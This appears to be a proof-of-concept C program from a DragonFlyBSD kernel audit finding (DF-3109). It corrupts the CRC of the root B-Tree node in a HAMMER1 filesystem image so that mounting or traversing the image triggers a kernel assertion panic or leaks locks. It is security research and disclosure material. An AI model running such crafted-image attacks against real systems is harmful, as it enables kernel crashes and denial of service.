⬢ DragonFlyBSD Kernel Audit
DF-3109 / corrupt_root.c
← back to finding ↓ download raw
/*
 * DF-3109: corrupt the CRC of the ROOT B-Tree node of a HAMMER1 image so
 * the first hammer_get_node(vol0_btree_root) in hammer_init_cursor fails
 * (hammer_load_node, hammer_ondisk.c:1315-1333 -> EIO/EDOM), which hits
 *
 *	KKASSERT(error == 0);			hammer_cursor.c:202
 *	// (the original hammer_done_cursor cleanup line is commented out upstream)
 *
 * (the cleanup line is commented out) on INVARIANTS kernels and leaks
 * ip->lock + cursor_ip_refs on production ones.
 *
 * Strategy: scan the image for CRC-valid B-Tree nodes; the ROOT node is
 * the one whose parent offset is 0.  Flip one byte in the middle of it so
 * the stored CRC no longer matches.
 *
 * usage: corrupt_root <image>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>

#define BUFSIZE 4096
#define BTREE_TYPE_L (('L') & 0xff)
#define BTREE_TYPE_I (('I') & 0xff)

static uint32_t crc32_tab[256];
static void crc32_init(void)
{
	for (uint32_t i = 0; i < 256; i++) {
		uint32_t c = i;
		for (int k = 0; k < 8; k++)
			c = (c & 1) ? 0xEDB88320U ^ (c >> 1) : c >> 1;
		crc32_tab[i] = c;
	}
}
static uint32_t crc32_buf(const void *p, size_t n)
{
	const unsigned char *b = p;
	uint32_t c = 0xFFFFFFFFU;
	for (size_t i = 0; i < n; i++)
		c = crc32_tab[(c ^ b[i]) & 0xff] ^ (c >> 8);
	return c ^ 0xFFFFFFFFU;
}
static uint32_t crc32c_tab[256];
static void crc32c_init(void)
{
	for (uint32_t i = 0; i < 256; i++) {
		uint32_t c = i;
		for (int k = 0; k < 8; k++)
			c = (c & 1) ? 0x82F63B78U ^ (c >> 1) : c >> 1;
		crc32c_tab[i] = c;
	}
}
static uint32_t crc32c_buf(const void *p, size_t n)
{
	const unsigned char *b = p;
	uint32_t c = 0xFFFFFFFFU;
	for (size_t i = 0; i < n; i++)
		c = crc32c_tab[(c ^ b[i]) & 0xff] ^ (c >> 8);
	return c ^ 0xFFFFFFFFU;
}

int main(int argc, char **argv)
{
	unsigned char node[BUFSIZE];
	uint64_t parent, root_off;
	uint32_t stored, calc_a, calc_b;
	off_t off, vol0_root = -1;
	int fd, count, patched = 0, nodes = 0;

	if (argc != 2) {
		fprintf(stderr, "usage: %s <image>\n", argv[0]);
		exit(2);
	}
	crc32_init();
	crc32c_init();
	fd = open(argv[1], O_RDWR);
	if (fd < 0) { perror("open"); exit(2); }

	/* vol0_btree_root lives at offset 240 in the root volume header */
	if (pread(fd, &root_off, 8, 240) != 8) { perror("pread hdr"); exit(2); }
	printf("vol0_btree_root = 0x%016jx (zone %jd)\n",
	       (uintmax_t)root_off, (uintmax_t)(root_off >> 60));

	for (off = 0; ; off += 512) {
		if (pread(fd, node, BUFSIZE, off) != BUFSIZE) break;
		memcpy(&stored, node, 4);
		memcpy(&count, node + 16, 4);
		if (node[20] != BTREE_TYPE_L && node[20] != BTREE_TYPE_I)
			continue;
		if (count < 1 || count > 63)
			continue;
		calc_a = crc32_buf(node + 4, BUFSIZE - 4);
		calc_b = crc32c_buf(node + 4, BUFSIZE - 4);
		if (stored != calc_a && stored != calc_b)
			continue;
		memcpy(&parent, node + 8, 8);
		nodes++;
		if (parent != 0)
			continue;
		/* root node: flip a byte in the middle -> CRC mismatch */
		node[2048] ^= 0x5A;
		if (pwrite(fd, node, BUFSIZE, off) != BUFSIZE) {
			perror("pwrite"); exit(1);
		}
		printf("corrupted ROOT node @ image offset %jd "
		       "(stored crc %08x, now invalid)\n", (intmax_t)off, stored);
		patched++;
	}
	printf("done: %d valid btree nodes seen, %d root node(s) corrupted\n",
	       nodes, patched);
	close(fd);
	return patched ? 0 : 1;
}